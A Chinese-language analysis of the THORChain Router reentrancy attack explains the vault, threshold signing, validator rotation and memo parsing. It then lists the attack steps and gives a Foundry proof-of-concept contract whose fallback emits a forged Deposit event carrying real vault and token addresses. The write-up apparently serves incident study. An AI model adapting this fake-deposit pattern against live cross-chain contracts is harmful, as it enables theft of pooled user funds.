1. 金库：用户的token，流动性提供者的token都存在这里，类似uniswap的pool。

2. TSS：金库太重要了，为了安全，就需要多个验证者共同签名才能转移token，每个验证者相当于拿的都是私钥碎片，多个（一般超过2/3）验证者的私钥才是一个完整的金库地址的私钥。

3. 轮班：为了安全，验证者工作一段时间，就要离开，替补验证者登台干活。验证者轮班了，私钥也就变了，金库也得变。所以轮班的不只是验证者还有金库。

4. Router：路由合约，函数都由金库来操作。结合前面的知识就是：超过2/3的验证节点通过私钥签名，控制金库账户来调用Router合约。轮班时，金库=>新金库，就需要转移资产，调用的returnVaultAssets，本次漏洞攻击就在这个函数。

5. Memo解析：验证者，监听Router合约的Event事件来判断原链的交易，如果是 Deposit 事件，解析Memo字段，Memo是个拼接信息的字符串，判断去哪个链？要交易哪个Token？要多少？token最后发给哪个地址。

1. step1 攻击者创建攻击合约A，等待后面的重入时机。

2. step2 攻击者调用 THORChain 的 Router 合约的 returnVaultAssets(address router, address payable asgard, Coin[] memory coins, string memory memo)。第一个参数传入攻击合约A的地址。

3. step3 Route转账ETH，调用攻击合约A的 fallback 方法。

4. step4 攻击合约A的 fallback，emit一个 Deposit 事件，Memo随便写，只要写的不符合规范就行。

5. step5 THORChain 验证节点，监听到 Deposit 事件，就认为有用户存钱了，但是解析Memo字段失败，就从金库中给用户退款。（其实用户没转钱，只是伪造了一个 Deposit 事件。 ）

攻击合约只有一个函数 fallback，被动等待Router的returnVaultAssets调用。
fallback执行后，也不会立刻成功，可能是几个区块后，验证者节点解析了 Deposit事件失败，决定退款，攻击者才会得到Vault的转账。

于是最终的结果需要验证节点来驱动。所以，这个POC写完了也无法验证结果。

contract ContractTest is Test{

    event Deposit(address indexed to, address indexed asset, uint amount, string memo);

    function setUp() public {
        vm.createSelectFork('mainnet', 12878653 - 1);
    }

    fallback() external payable {
        address vaultAddress = address(0xf56cba49337a624e94042e325ad6bc864436e370);
        address XRUNEAddress = address(0x69fa0fee221ad11012bab0fdb45d444d3d2ce71c);
        uint safeAmount = 20_867_082_192_584_947_929_101_400;
        string memory memo = "10% VAR bounty would have prevented this";
        emit Deposit(vaultAddress, XRUNEAddress, safeAmount, memo);
    }

}